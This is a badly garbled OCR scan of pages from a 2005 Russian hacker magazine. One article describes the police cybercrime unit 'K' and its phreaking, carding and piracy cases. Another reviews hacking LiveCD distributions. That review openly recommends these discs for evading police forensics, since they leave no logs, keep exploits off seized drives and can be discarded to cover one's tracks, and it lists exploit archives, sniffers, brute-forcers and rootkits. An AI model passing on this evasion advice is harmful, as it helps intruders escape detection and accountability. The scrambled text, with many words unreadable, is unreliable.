ных технологий. Для раскрытия столь экзотических по тому време- 
ни преступлений требовались специально подготовленные кадры, 
которых, естественно, в милиции не хватало. Появление новых сот- 
рудников и кардинально изменившиеся первоначальные задачи 
привели к тому, что отдел «Р» был реорганизован и позже переиме- 




[схема несложного прослушивающего устройства (зЬетз.М.т) — за такие 
девайсы могут настучать по ушам] 










[горы контрафактной 
продукции] 



[многофункциональный 
поисковый прибор 8Т032] 



[многие региональные отделы «К» имеют полноценные сайты, содержащие 
правовую и контактную информацию] 



Каунтов и т.п. В число основных 
задач таюке входила борьба с 
разработчиками вирусов и 
фрикерами. 

Виртуальные преступления 
сильно отличаются от обычных, 
и подход к ним нужен соответ- 
ствующий, В корне изменилис 
не только используемые Мюу- 
мышленниками средства, но 
сам контингент преОРупников, 

Зачастую взломо^^анимают- 
ся настоящие прюфессиона- 
лы, люди с вьишим образова- 
нием и высрхим уровнем ин- 
теллекта, рбторых крайне зат- [конфискация оборудования (фото о ѵѵѵ/ѵѵ.біпіо.ги)] 
рудните^іЬно поймать и дока- 
зать Инвину. С другой стороны, немалую часть подобных преступлений совершают 
мол^ые люди. Юные хакеры, фанатеющие от компьютеров, иногда даже не подоз- 
р^ают, что пересекают границы закона. И частоньш-нѳявв^аіѳісяі 
то сегодняшний день Управление по борьбѳ-вгп^ступлениями в сфере’шсоких техно- 
'логий преобразовано в управление «Юг-'^новным направлением его рабслЦявляется 
борьба с компьютерными преступдйниями и незаконным оборотом радиоэлеиронных 
и специальных технических сре,^тв. 



ндвШв сложную аббревиатуру УБПСВТ (Уп- 
равление по борьбе с преступлениями в 
сфере высоких технологий). 

Работы у этого управления было предоста- 
точно. И проблем тоже. Задачи уже не ог- 
раничивались одним лишь поиском и кон- 
фискацией незаконных радиосредств. Бур- 
ное развитие инета и высокая степень ано- 
нимности играли на руку кибер-преступни- 
кам и позволяли в большинстве случаев вы- 
ходить сухими из воды. У милиции не хвата- 
ло ни средств, ни людей, ни опыта, а зачас- 
тую и технической возможности раскрытия 
подобного рода преступлений. 

По всей России управлению приходилось 
заниматься делами по несанкционирован- 
ному доступу в Сеть, кражами интернет-ак- 



[за что отвечает управление «К»] В первую очередь оперативники из управления «К» зс 
маются преступлениями, напрямую или косвенно связанными с применением компьюті 
ров. Такие дела отличаются широким разнообразием, однако условно их можно разде-' 
лить на несколько групп. 

Всем известно, что неправомерный доступ в компьютерную сеть, чужой компьютер, 
базу данных или к любой другой охраняемой законом компьютерной информации яв- 
ляется серьезным правонарушением. Однако преступлений подобного рода хоть от- 
бавляй. Как показала практика, достать чужие пароли способен любой мало-мальс- 
ки соображающий подросток, при этом искушение посидеть в инете на халяву очень 
велико. Читая хронику на официальных сайтах управления «К», я нашел сотни упоми- 
наний о такого рода делах. Конечно, большинство проходивших по ним людей отде- 
лались штрафом и условным сроком. Но все-таки это судимость! Особенно обидно 
за тех людей, которые воспользовались инетом всего чуть-чуть и нанесли ущерб на 
каких-то жалких 100-200 рублей. 

Создание, использование и распространение вредоносных программ для ЭВМ, нару- 
шение правил эксплуатации ЭВМ, системы ЭВМ или их сети — это уже другая статья. Ес- 
ли ты считаешь, что такого рода дела встречаются довольно редко, то ты серьезно оши- 
баешься. В прошлом году в Челябинске по этой статье был осужден студент местного ву- 
за. Видимо, от большого безделья умелец написал простенький регі-скрипт, который, ис- 
пользуя ЗМЗ-гейт местного филиала «Мегафона», массово рассылал сообщения, И все 
бы было хорошо, если парень не послал 10 тысячам абонентов сети сообщение с не- 
цензурной бранью. За эту не^^епую шутку студент получил год условно и 3 тысячи штра- 
фа. По сути, это первый приговопв России по отношению к спамеру! 
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[жесткий диск — основ- 
ной фигурант хакерско- 
го дела] 
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[набор оперативника 
для поиска прослуши- 
вающих устройств] 



ХАКЕР 06 




[хакер 06 [78] 05 > ВЗЛОМ 062 ] 




[защита личной жизни] В юрис- 
дикцию управления «К» попада- 
ют таіоке преступления, связан- 
ные с такими конституционными 
правами граждан, как непри- 
косновенность личной жизни, 
тайна переписки, телефонных 
переговоров, почтовых, телег- 
рафных или иных сообщений. 
По сути, использование снифе- 
ров (в особенности специаль- 
но заточенных для перехвата 
ісд/егпаіі-сообщений и паро- 
лей) попадает именно под эту 
статью УК. Подумать только: для 
совершения преступления дос- 
таточно скачать небезызвест- 
ный снифер еі'ітегеаі и нажать 
на кнопку Зпі^! 

Кстати говоря, подобного рода 
преступления очень часто пе- 
ресекаются с другой задачей управления, правда, уже мало свя- 



[для уничтожения контрафактных 
дисков применяются самые различ- 
ные способы (фото с сІеІо.Го.кд)] 




зонной с компьютерами. Оперативники обязаны выявлять и пресе- 
кать незаконный оборот специальных технических средств, ис- 
пользование которых невозможно без специального разрешения. Возникает вопрос: а 
что считается такими средствами? Примеров много: всевозможные прослушивающие 
устройства, системы скрытого видеонаблюдения и т.п. Подобного рода дела — не ред- 
кость. Так, сотрудники управления «К» ГУВД Красноярского края в прошлом году изъяли 
мощную систему скрытого наблюдения. Система включала в себя беспроводную видео- 
камеру с автономным питанием, работавшую по выделенному радиосигналу и оснащен- 
ную встроенным микрофоном. Для ее использования достаточно было поместить камеру 
в укромном месте и вести наблюдение на мобильном телевизоре с любой точки в радиу- 
се 150 метров. Экспертиза показала, что изъятые предметы явля- 
ются специальным техническим средством, предназначенным для 
негласного получения информации. Поскольку владелец торговой 
точки не был уполномочен на осуществление подобной деятель- 
ности, прокуратура возбудила уголовное дело по статье 138 УК 
РФ, согласно которой ему светит наказание до трех лет. 



[списки украденной бытовой техники на сайте Кировского управления «К»] 



дах закрываются редко) с помощью обыч- 
ного телефонного провода или простейших 
приемо-передающих радиоустройств, 
после чего беспрепятственно болтают со 
Штатами :). Вычислить таких молодцов до- 
вольно сложно, однако возможно. Этому 
нелегкому делу всячески способствует по- 
жилое население, которое крайне осмот- 



[фрикинг жив] Ответственно заявляю: фрикинг еще не умер! Сот- 
рудники управления «К» активно работают над раскрытием прес- 
туплений в сфере телекоммуникаций. Незаконный доступ к опера- 
торам и ресурсам связи, в том числе сотовой, международной и 
междугородней, до сих пор встречается довольно часто. Мошен- 
ники действуют предельно просто: заходят в подъезд, подключа- 
ются к чужим телефонным клеммам (электрощитки в наших подъез- 



[НЕМНОГО СТАТИСТИКИ] 

Приблизительный уровень пиратства в 2004 году: 

* Видеоиндустрия — 70-75% 

* Музыкальное пиратство — 55-60% 

* Бизнес софт — 80-87% 

* Компьютерные и видеоигры — 60-75% 

Из-за этих внушающих цифр России является чуть ли 
не мировым лидером по уровню пиратства в мире. 
Однако стоит отметить, что благодаря управлению 
«К» этот уровень постоянно снижается. 

В 2004 году было проведено несколько десятков ты- 
сяч проверок предприятий, работающих в сфере обо- 
рота объектов интеллектуальной собственности. В 
результате было возбуждено около двух тысяч уго- 
ловных дел, из которых более половины были пере- 
даны в суд. 

Пока не удается решить главной проблемы — как 
предотвратить производство контрафактной продук- 
ции. Пиратки до сих пор штампуются как на крупных 
предприятиях, так и в подпольных цехах. Особенно 
сильно огорчает тенденция появления замаскирован- 
ных цехов, расположенных на территории режимных 
объектов. К примеру, в Новосибирске на территории 
исправительного учреждения Минюста РФ была вы- 
явлена преступная группа из 35 осужденных, которая 
под прикрытием руководства учреждения занималась 
производством и реализацией контрафактных ком- 
пакт-дисков. 



[иѴЕ-ЗТОПУ: КАК ЛОВИЛИ 
ПОРНУШНИКА В МАГАДАНЕ] 

Огромная популярность пиратской продукции в России 
зачастую создает стереотип безнаказанности ее расп- 
ространения. Однако это совсем не так. На самом де- 
ле правоохранительные органы борются с продажей 
контрафактной продукции и кое-где в этом деле уже 
преуспели. Вот тебе реальный пример из Магадана. 
Сотрудники управления «К» Магаданской области 
проводили очередной рейд по точкам, торгующим 
контрафактной продукцией. На этот раз в поле зрения 
оперативников попал небольшой компьютерный , отк- 
рытый молодым предпринимателем в крупном книж- 
ном магазине города. Среди представленной продук- 
ции были самые разнообразные диски: игры, фильмы, 
копии энциклопедий. Особенно сотрудников 
управления «К» заинтересовали диски с порнографи- 
ческим содержанием, а также несколько Сб «Для ха- 
кера» с внушительным списком вредоносных прог- 
рамм и утилит. Закупив контрольную партию СО, ми- 
лиционеры в штатском удалились. 

Большой опыт оперативников подсказывал, что брать 
пиратов было рано. Нужно еще доказать, что точка 
торгует этой шнягой на постоянной основе, ежедневно. 
Выждав некоторое время, оперативники совершили 
повторную закупку. В этот раз помимо всего прочего в 
руки милиционерам попали диски с пиратским софтом 
для консолей Р32. Более того, выяснилось, что хозяин 
имеет еще одну точку, расположенную на одном из 
рынков города, — ее также взяли на разработку. 

Что в итоге? На трех молодых продавцов и хозяина 
магазина было заведено сразу два уголовных дела. 
Дело по статье 242 — «Незаконное распространение 
порнографических материалов и предметов» — стало 
первым в судебной истории Магадана. Экспертизу 
«клубнички» проводили сразу два искусствоведа горо- 
да, которые признали содержание дисков порнографи- 
ей в чистом виде. Хозяин, увидев в суде снимки со 
своих дисков, раскаялся и полностью признал свою 
вину, поэтому обвинение по этой статье было снято. 
Однако от другой статьи — «Нарушение авторских и 
смежных прав» — ему уйти не удалось. 






[снифер еіііегеаі в действии. Нарушение тайны переписки или проверка 
работоспособности сети?] 

рительно относится к появлению посторонних людей в подъезде. 

В последнее время чуть ли не приоритетным направлением в ра- 
боте управления «К» стала борьба с пиратами, точнее, преступ- 
лениями, посягающими на интеллектуальную собственность (ав- 
торское право). Не надо лишний раз рассказывать, насколько 
распространено пиратство в России, однако с ним пытаются бо- 
роться, и даже делают в этом определенные успехи. В доказа- 
тельство моих слов ты можешь прочитать историю об успешно 
проведенной операции в городе Магадан. 

Пираты и порнография — понятия неразлучные. С распространи- 
телями как «клубнички», так и пиратских дисков оперативники бо- 
рются не только на прилавках магазинов, но и в интернете. Вла- 
дельцев подобных интернет-ресурсов вынуждают закрыть сайт, а 
российским хостинг-компаниям запрещено размещать и под- 
держивать ресурсы подсбного характера. 

Что касается интернета, то это вообще отдельная история. Пер- 
вая проблема — это кардеры. Огромное количество интернет- 
магазинов хранит клиентскую базу с полной информацией о кре- 
дитных картах своих клиентов. Дыры в используемом програм- 
мном обеспечении позволяют находить такие базы не только нас- 
тоящим гуру (Форбик, привет!), но и обычным скрипткидисам с по- 
мощью банального поиска через доодіе! Такие базы часто попа- 
дают в руки оптовых покупателей. В розницу же любой желающий 
может приобрести одну, две, сто или даже несколько тысяч кре- 
дитных карт с полной информацией о владельце за смешную це- 
ну — пара долларов штука. Управлению «К» известны многие при- 
емы работы Кардеров, отмыва денег и получения незаконно куп- 
ленного товара. И знаешь, судя по сводкам, кардеры попадают- 
ся очень часто. Никогда этим не занимайся! :) 

Что касается хакеров, то о них и говорить не хочется — все уже 
давно было сказано. Только отмечу, что с российскими ресур- 
сами наши хакеры в большинстве случаев предпочитают не 
связываться. Наверное, поэтому уголовных дел по факту взлома 
и дефейса интернет-сайтов в России пока что не так много. В 
последнее время, правда, появилась новая тенденция — ин- 
тернет-шантаж. Хакеры, используя огромные мощности, 24 ча- 
са в сутки ООоЗ'ят известный интернет-ресурс, тем самым пре- 
пятствуя его полноценной работе. За прекращение атаки шан- 
тажисты, как это водится, требуют денежку, зачастую немалую. 
Вот такие пироги. 

[предупреждаем!] В ка>і<дой нашей статье мы предупре>кдаем тебя: 
не используй полученные знания в противозаконных целях, вся инфор- 
мация представлена исключительно для ознакомления и собствен- 
ного развития. Мы не шутим, когда говорим, что ответственность за со- 
деянное в случае, если ты ослушаешься, будет лежать только на те- 
бе. Подумай, какие последствия могут быть у твоей нелепой шалости. 
Уголовное дело и суд — это в лучшем случае потеря нервов и денег. 
А в худшем — лишение свободы и клеймо «судим» на всю жизнь. 

Не забывай, что в управлении «К» работают не дураки. Раскры- 
ваемость преступлений растет с каждым годом, а власти все 
большее внимание уделяют проблемам кибер-преступности. 
Так что берегись! :) © 
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Оружие нового 
поколения 

мы МНОГОКРАТНО ТЕБЕ ЭТО ГОВОРИЛИ, 
НО СКАЖЕМ ЕЩЕ РАЗ: ХАКЕРСТВО — ЭТО 
ОПАСНО. ДАЖЕ ЗА ВНЕШНЕ БЕЗОБИДНЫЙ 
ДЕФЕЙС УБОГОГО И ДЫРЯВОГО САЙТА, 
УЛОЖЕННОГО НА ЛОПАТКИ ВСЕГО ЗА ПА- 
РУ МИНУТ, ТЕБЕ ВПОЛНЕ МОГУТ ВПАРИТЬ 
СРОК, И ОТВЕЧАТЬ ТЫ БУДЕШЬ ПО ПОЛ- 
НОЙ ПРОГРАММЕ. СУЩЕСТВУЕТ ДОВОЛЬ- 
НО МНОГО СПОСОБОВ УБЕРЕЧЬСЯ ОТ ПО- 
ДОБНОЙ НЕЛЕПОСТИ. ОДИН ИЗ НИХ — 
ИСПОЛЬЗОВАНИЕ СПЕЦИАЛИЗИРОВАННЫХ 

иѵЕСо осей I Степан Ильин ака ЗІер (5І’ер@геаІ. хакер. ги) 

Тест-драйв самых популярных 
военных ЬіѵеСО дистрибутивов 

[а в чем прикол?] Начнем с самого простого — что та- 
кое ІіѵеСО ось? Это полноценная операционная сис- 
тема, которая после загрузки с СО может быть ис- 
пользована без какой-либо предварительной уста- 
новки. Фишка заключается в том, что работать с такой 
осью можно, как если бы она была проинсталлирова- 
на на жесткий диск. Для этого достаточно вставить в 
привод нужный компакт-диск и в биосе установить заг- 
рузку с СО. Один момент — и операционная система 
готова! 

Каждый использует УѵеСО по-разному. Новичкам в 
диковинку посмотреть на прелести работы в Ііпих'е, 
не рискуя при этом испортить основную систему. Си- 
садмины частенько юзают подобные средства для 
экстренного восстановления системы. Мы же, в свою 
очередь, попробуем использовать ІіѵеСЭ для хака. 
Причем безопасного. 

Казалось бы, какая разница: использовать для взлома 
ось, установленную на харде, или загруженную с СО? 
На самом деле огромная! Суди сам. Момент первый: 
отпадает необходимость хранить у себя на винте 
компрометирующую информацию. Если, не дай Бог, 
твой компьютер заберут на экспертизу в правоохра- 
нительные органы, то коллекция эксплойтов и зесигіі'у- 



утилит едва ли сыграет тебе на Возможно, на нашем диске 

руку. В военные же ЕіѵеСО, как ты найдешь один из опи- 

правило, включены самые не- санных дистрибутивов :). 

обходимые программы, а иног- 
да даже сплойты. Более того, в случае необходимости от такого 
компакта можно легко избавиться. Момент второй: все твои 
действия, в том числе и неправомерные, навсегда остаются за- 
гадкой истории. Дело в том, что все логи Е!ѵеСЭ хранятся на 
1?АМ0!ЗК'е (виртуальный диск, использующий для хранения дан- 
ных оперативную память) и безвозвратно стираются сразу после 
перезагрузки или выключения компьютера. Момент третий: загру- 
зить ось со всем необходимым арсеналом можно на любом без 
исключения компьютере. Сечешь фишку? Дома, в компьютерном 
клубе, на работе или в университете — абсолютно все равно! 
При грамотном подходе ты легко заметешь следы, и выйти на тебя 
будет практически невозможно. 

Перечень преимуществ, разумеется, можно продолжить. Но, на 
мой взгляд, более интересным будет посмотреть на такие дист- 
рибутивы в действии. 

[Иакіп9.!іѵе 2.4] В этот дистрибутив я влюбился с первого взгляда. 
На то есть несколько причин. В первую очередь, он, конечно же, 
приглянулся мне своим названием. Разработчики не стали особо 
фантазировать и, не стесняясь, обозначили цель дистрибутива — 
Наскіпд. Как позже выяснилось, на то была еще более веская при- 
чина. Дело в том, что дистрибутив носит название популярного в 
Польше печатного издания, посвященного проблемам компью- 
терной безопасности, — наши коллеги, стало быть :). Накіп9,!!ѵе 
полностью основан на платформе другого ЕіѵеСО — Аигох Е!ѵе 
10.1, который славится шустрой работой и внушительным списком 
поддерживаемого оборудования. Это сразу же подтвердилось. 
Дистрибутив быстро и без каких-либо видимых проблем запустил- 
ся на обеих моих домашних машинах (Р4-2.4/512/0Е2 и Сеіегоп- 
667/512/0Е), и я быстро смог перейти к его тестированию. 

По заверениям польских коллег, Накіп9.!іѵе состоит из утилит и 
программ, которые они описывают в своем журнале. Я не вижу 
повода им не доверять. Даже после беглого осмотра дистрибу- 





тива стало ясно, что в Ііакіп9.1іѵе включен только самый свежий и 
актуальный софт. Все программы тематически распределены по 
разделам, поэтому ориентироваться среди них просто и удобно. 
Для нас, разумеется, наибольший интерес представляет раздел 
с названием НАКІМ9. 
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Не стоит забывать, что все 
действия хакеров противо- 
законны и зта статья пред- 
назначена лишь для озна- 
комления. За применение 
материала в незаконных 
целях автор и редакция 
ответственности не несут. 

На сайте дистрибутива 
Шорріх ты найдешь несколь- 
ко классных видеороликов, 



Свою работу я начал с конфи- 
гурирования сетевой карточки. 
Дело в том, что в моей домаш- 
ней сети не установлен ОНСР- 
сервер, поэтому ІР-адрес для 
сетевого адаптера приходится 
прописывать вручную. Чтобы 
избавить юзера от лишней воз- 
ни с текстовыми конфигами, 
разработчики предлагают вос- 
пользоваться специальной ути- 
литой — пеі'сопі'ід. После этого 
я перешел к изучению подраз- 



иллюстрирующих использова- /\еАа Ме1'\л/огкіпд, который бук- 
ние зтой хакерской оси. вольно изобилует разнообраз- 
ными полезными в хозяйстве 
утилитами. Например сниферами. Их несколько, но я особенно 
хочу выделить два их них: е+НегеаІ и е+І'егсар N6. О первом мы уже 
не раз писали: это наиболее продвинутый снифер, который под- 
держивает АРР-спуфинг и, следовательно, работу в коммутируе- 
мых сетях. Что же касается еИ'егсар'а, то функциональности ему 
тоже не занимать — если ты сомневаешься в этом, набери в по- 
иске на ѵѵѵѵт.хакер.ги «еі'1'егсар» и прочти подборку материалов. 
Помимо всего прочего, этот снифер примечателен тем, что скани- 
рует весь сетевой трафик и строит наглядные схемы путей переда- 
ваемых пакетов. Это может быть очень полезно, чтобы со стороны 
оценить топологию неизвестной тебе сети. Дополнить результаты 
изысканий сможет сканер портов птар. А в случае, если тебе пот- 
ребуется оперативно поднять прокси-сервер, хорошую службу 
сыграет еще одна полезная утилита этого раздела — Ьигрргоху. 

В следующем важном разделе ісіз/ірз находится отличное сред- 
ство для обнаружения атак — зпоіі. Причем для большего удоб- 
ства его использования в Ііакіп9.1іѵе включено несколько конфигу- 
рационных оболочек, а таіоке утилита ЗАМ, которая, анализируя 
логи зпог+'а, различными способами оповещает админа об ата- 
ке. Получается, что кіакіп9.1іѵе можно использовать не только для 
атаки, но еще и для защиты. Особенно вкупе с файрволом ір+а- 
Ыез, который легко настраивается через раздел І'іге'ул/аІІ. 

Что меня особенно порадовало в Іпакіп9.1іѵе, так это работа с ѴѴІ- 
Рі устройствами. В ядро системы наложено несколько патчей, ко- 
торые значительно расширяют список поддерживаемых беспро- 
водных девайсов. Чтобы проверить слова разработчиков на де- 
ле, я отправился к другу, где мы успешно смогли загрузить 
Іпакіп9.Ііѵе на ноутбуке с платформой Сепітіпо, Входящие в состав 
дистрибутива аігзілоіі и кізтеР вкупе с узконаправленной антен- 
ной без проблем позволили нам просканировать эфир. В кайф! 
Огорчает лишь одно: в состав дистрибутива не входит ни одного 
сплойта. Скорее всего, по той же причине, что и мы не выклады- 
ваем сплойты и кряки на наш диск. Нельзя! Впрочем, любой 
эксплоит без труда можно установить и самому. 



База экплоитов: О 

Зесигііу-утилиты: 4 

Удобство использования: 5 
Поддержка оборудования: 5 




[птар РЕ под Ііакіп9.!іѵе: настоящая идиллия] 



[\л/Ііорріх 2.6-зр1] Когда я начинал работу над этим материалом, 
Никитос посоветовал включить в обзор популярный дистрибутив 
Кпорріх. Система, конечно, отменная, но вот воинственных функ- 
ций ей явно не хватает. Сказалось, что так считаю не только я. В 
Сети без труда нашлось сразу два хакерских УѵеСО, являющих- 
ся переделками Кпорріх'а: Кпорірх-ЗОК и ѴѴНорріх. После нес- 
кольких часов экстремального тестирования я пришел к выводу, 
что второй из них лучше. Его и опишу. 

Перечислять все достоинства Кпорріх'а — это все равно что на- 
писать о нем целую статью. Достаточно сказать, что Кпорріх на 
сегодняшний день является наиболее продвинутым УѵеСО дист- 
рибутивом. Этот старейший ЕіѵеСЭ разработчики обкатали от и 
до, исправив все баги и реализовав поддержку самого разного 
оборудования. 

Что касается непосредственно ѴѴІпорріх'а, то это всего лишь до- 
полнение к стандартному Кпорріх'у. Разработчики практически 
не затронули внутренности исходного дистрибутива и лишь вклю- 
чили в него внушающее количество специфического софта. И на- 
до отдать им должное, поработали они от души. 

Признаться честно, я никогда в жизни не видел столько эксплои- 
тов, сканеров, сниферов и всевозможных вспомогательных утилит 
в одном месте. Здесь их настоящее море! Складывается впечат- 
ление, что разработчики перелопатили все, что можно, и скомпо- 
новали хакерский пакет на все случаи жизни. При этом дистрибу- 
тив сильно отличается от Іпакіп9.!іѵе, где большинство утилит име- 
ет графическую оболочку. В ѴѴРорріх'е все в точности наоборот. 
Коллекция военного софта и сплойтов попросту рассортирована 
по нескольким десяткам директорий и в таком виде выложена на 
СО. А для использования того или иного средства его в большин- 
стве случаев придется предварительно откомпилировать. Это 
вполне понятно. Ведь на то, чтобы откомпилировать все имеюще- 
еся хозяйство, ушла бы масса времени и дискового простран- 
ства, которое, сам понимаешь, жестко лимитировано. 

Однако это ни в коем случае не портит дистрибутив. Ориентиру- 
ясь на название разделов, любой знающий человек быстро оты- 
щет нужную утилиту и соберет ее с помощью полноценного ком- 
пилятора дсс. 

Видно, что подборкой занимался настоящий гуру, который не по- 
наслышке знаком с технологией хака. Так и оказалось: разработ- 
чиком дистрибутива является некий МиТз, имеющий целую кучу 
сертификатов и работающий на ведущую израильскую зесигіТу- 
контору. Он включил в ѴѴкюрріх самые различные сканеры пор- 
тов, авторутеры, сниферы и руткиты. Если необходимо замутить 
переадресацию портов или наладить туннель, то в твоем распо- 
ряжении будут утилиты пеТсаТ и зТиппеі, А если нужно пустить тра- 
фик через цепочку ргоху/зоскз-серверов, то и локальная прокся с 
поддержкой каскадирования. Помимо этого, в дистрибутиве 
доступен софт для взлома Сізсо-систем, серверов баз данных и 
для обнаружения незащищенных \Л/!-Р! сетей. 

Среди включенных утилит есть и брутфорсеры под различные 
сервисы, а также несколько полезный словарей. Покопавшись, 
можно найти немало регі-скриптов, которые автоматически ищут 
и распознают демоны, поддающиеся брутфорсу. 

Главный конек дистрибутива — громадное количество эксплойтов. 
Автор любезно выложил на диск полный архив ведущих секьюрити- 



[хакер 06 [78] 05 > ВЗЛОМ 065 ] 




[хакер 06 [78] 05 > ВЗЛОМ 066 ] 



[СТРОИМ свой ІІѴЕСО] 

Сегодня, когда ^іѵеС^ очень популярны, в Сети можно 
найти подробные мануалы по изготовлению собствен- 
ных дистрибов. Однако выполнять все необходимые 
действия вручную — довольно-таки утомительное за- 
нятие. Да и не факт, что найденные рекомендации в 
точности подойдут под твой дистрибутив линукса и 
версию используемого ядра. Значительно проще соз- 
дать свой дистрибутив ІіѵеСО с помощью специальных 
скриптов, которые самостоятельно выполняют все не- 
обходимые действия и создают образ будущего диска. 
Один из таких пакетов — ^іпиx Ьіѵе (ѵѵѵѵѵѵ.Ііпих-Ііѵе.огд). 

Первый шаг предельно очевиден — нужно установить 
непосредственно саму операционную систему. Чтобы 
избавить себя от лишнего геморроя, рекомендую ис- 
пользовать для этого единственный раздел. Хотя, само 
собой, своповый раздел тоже необходим, и места под 
него в нашем случае жалеть не стоит. Его объем дол- 
жен быть пропорционален размеру создаваемого Еіѵе- 
диска. После установки системы не рекомендуется пат- 
чить ядро какими-либо специфическими модулями и 
драйверами. Это может помешать работе скриптов. 

1І В любую систему по умолчанию устанавливается 
множество ненужного хлама, поэтому ее настоятельно 
рекомендуется облегчить. В каждом конкретном дист- 
рибутиве сделать это можно по-разному. Например, в 
популярном Мапсігаке неоценимую помощь окажет 
фирменная ѲУГшная оболочка Мапсігаке СоШгоІ 
СеШег, а также консольное приложение игрті. В слу- 
чае РМР-ЬазесІ дистрибутива нелишним будет удалить 
неиспользуемые ВМР-пакеты (команда грт -е -посіерв). 

После этого установи в систему все необходимые 
приблуды. Сканеры, сниферы, брутфорсеры — все в 
твоем распоряжении. Но не переусердствуй! Проследи, 
чтобы каталоги /еіс, /Моте, /ІіЬ и /ѵаг не были чрезмер- 
но большими, иначе запуск иѵеСО может запросто 
оборваться, сославшись на недостаток оперативной 



памяти. Немаловажную роль в удобстве использова- 
ния иѵеСО играет внешнее оформление системы. 
Настроить его нужно прямо сейчас и так, чтобы потом 
ничего не захотелось исправлять. После записи на 
болванку изменить ты уже ничего не сможешь. 

'Лі Теперь скачай последнюю версию скриптов Ыпих- 
Ііѵе и распакуй их в каталог /?тр, зайди в систему под 
рутом (команда зи) и набери в консоли «./гипппе.зіт». 
Собственно, это все. Запустившийся скрипт сделает 
всю грязную работу за тебя. 

Последний хинт: если в процессе установки возник- 
нут проблемы, попробуй заменить установленное ядро 
пропатченным 2.6.11.8 с включенными модулями 
ипіопіз и зциазітіз. Оно всегда доступно на том же сай- 
те, что и сами скрипты. 

Ничуть не сложнее создать свой собственный ЫѵеСО 
на базе РгееВЗО. Для этой цели мы воспользуемся 
другим набором скриптов, который называется 
РгееВЗО ЕіѵеСО ТооІ Зеі (Иѵессі.зоигсеіогде.пеі). Все, 
что от тебя потребуется, — это 2 Гб свободного места 
в слайсе /изг/іосаі, 64 Мб оперативной памяти, а также 
пишущий СО-привод. 

ЫѵеСО ТооІ Зеі состоит из трех скриптов: 
иѵеСО/ІіѵессІ.зІт, ЕіѵеСО/зсгір1з/таке_ѵпосІез.зІі, 
иѵеСО/зсгірІз/іпзІаІИгееЬзсІ.зІт. Для создания загрузоч- 
ной оси достаточно использовать только первый из 
них. Он имеет диалоговый интерфейс с целой кучей 
подсказок и указаний, так что тебе не составит труда 
выполнить все его требования. На завершающем эта- 
пе мастер предложит записать созданный образ на 
компакт диск — смело соглашайся :). 

Двумя другими скриптами можно воспользоваться уже 
после создания ЫѵеСО. Скрипт таке_ѵпосІез.зІт ис- 
пользуется для создания виртуальной файловой систе- 
мы на одном из разделов жесткого диска. Что касает- 
ся іпзІаІИгееЬзсІ.зИ, то этот скрипт необходим исключи- 
тельно для установки оси с СЬ на свой жесткий диск и 
едва ли тебе когда-нибудь понадобится. 




[все инструменты ѴѴІторріх’а разбиты по каталогам] 

сайтов тѵѵѵѵ.раскеШогтзесигііу.огд, ѵѵѵ/ш.зесигі^уіосиз.сот и 
ѵѵѵѵѵѵ.зесигііуіогезі.сот, а таіоке Ргате\л/огк 2.3. Естественно, вруч- 
ную искать подходящий эксплоит среди тысячи файлов никто не 
станет. Существенно упрощает задачу регі-скрипт Ііпсі-зріоііз.рі. 
Достаточно указать ему имя программы, и через несколько секунд 
он выдаст список всех подходящих эксплойтов. 

Кстати говоря, это единственный дистрибутив, который позволяет 
без лишнего геморроя настроить АОЗЕ/Ю5М и другие подключе- 
ния. А в документации, помимо скучных тап'ов, выложен десяток 
видеохаков, которые поспособствуют скорейшему освоению ра- 
боты с ѴѴГюрріх'ом, 

База экплоитов: 5+ 

Зесигііу-утилиты: 5+ 

Удобство использования: 5 

Поддержка оборудования: 5 

Наш выбор! 

[ѵуагііпих 0.5] Это самый миниатюрный дистрибутив в нашем сегод- 
няшнем обзоре. Он весит всего 50 метров и поэтому легко может 
быть записан на тіпі-СЭ. Понятно, что столь маленький размер не 
случаен — на то есть несколько причин. Во-первых, разработчики 
стремились сделать все по минимуму и местами, как мне кажется, 
даже переборщили. А во-вторых, ѴѴагІіпих имеет вполне конкрет- 
ную и узкую специализацию - вардрайвинг. В этой области не так 




[ищем эксплоит под 8егѵ-Ц] 

много утилит, поэтому дистрибутив получился совсем небольшим. 
Тестировать этот ІіѵеСЭ на домашних машинах не было смысла 
ввиду отсутствия ѴѴІ-П карточки, поэтому я сразу решил проверить 
его на подходящем ноутбуке. Ось запустилась без проблем: 
быстро и без сообщений об ошибках. Чтобы не терзать себя ссм- 
нениями по поводу обнаружения ѴѴІ-П карточки, я сразу же наб- 
рал в консоли команду сітезд и посмотрел ее вывод. Карточка 
определилась! Этому я был очень рад, так как на форумах мне не 
раз доводилось встречать сообщения о том, что операционка не 
дружит с некоторыми девайсами. 

Список возможных команд и встроенных утилит еще раз убедил 
меня, что этот дистрибутив предназначен исключительно для 
вардрайвинга. Сделать с его помощью что-либо еще будет ой как 
сложно. Не получится даже собрать сплойт — компилятора нет :). 
Откровенно говоря, не особенно поразил и набор утилит для 
вардрайвинга. Скудный он какой-то, но рассмотреть подробнее 





все-таки стоит. Просканировать окрестности на наличие откры- 
тых сетей можно стандартной утилитой іѵ\/сопСід. Если беспровод- 
ная сеть имеется, утилита выдаст информацию о точке доступа, к 
которой произошло подключение. За более детальной информа- 
цией стоит обращаться к специализированным утилитам типа 
\л/аѵетоп. Эта небольшая прога, имеющая псгисез-интерфейс, 
следит за текущим состоянием беспроводного устройства. С ее 
помощью можно получить информацию об уровне сигнала и шу- 
ма, статистику по переданным и принятым пакетам, потерям в ка- 
нале, а также текущие настройки ѴѴІ-РІ устройства. У меня, прав- 
да, эта утилита не заработала, так как несовместима с использу- 
емым мною типом \л/ігеІе55-карточки. Зато никаких проблем не бы- 
ло с другой, даже более функциональной программой — Кізтеі'. 
По сути, это своеобразный аналог обычного снифера, но рабо- 
тающего в беспроводных сетях. Тулза пассивно сканирует эфир 
и перехватывает проходящие пакеты. При этом она ведет статис- 
тику, определяет 53Ю беспроводной сети и имеет еще целый ряд 
полезных функций. 

К великому сожалению, все действия выполняются под голой кон- 
солью. Я прекрасно осознаю, что включить иксы в этот крохотный 
дистрибутив было невозможно. Но я был весьма огорчен, увидев 
самый примитивный консольный шелл и отсутствие банального 
МісІпідМ Соттапсіег'а (не самый большой минус для хак-дист- 
рибутива — прим. ред.). 

База экплоитов: О 

Зесигііу-утилиты: 2 

Удобство использования: 2 

Поддержка оборудования: 4 

[^гепгу 0.3] Работая над этим обзором, мне очень не хотелось, что- 
бы он полностью состоял из Еіпих-Ьазесі осей. Однако найти дос- 
тойные ЕіѵеСО с базовой системой, отличной от Еіпих'а, оказа- 
лось не так-то просто. Все, что я нашел, можно пересчитать по 
пальцам одной руки, а внимания заслуживает и вовсе только од- 
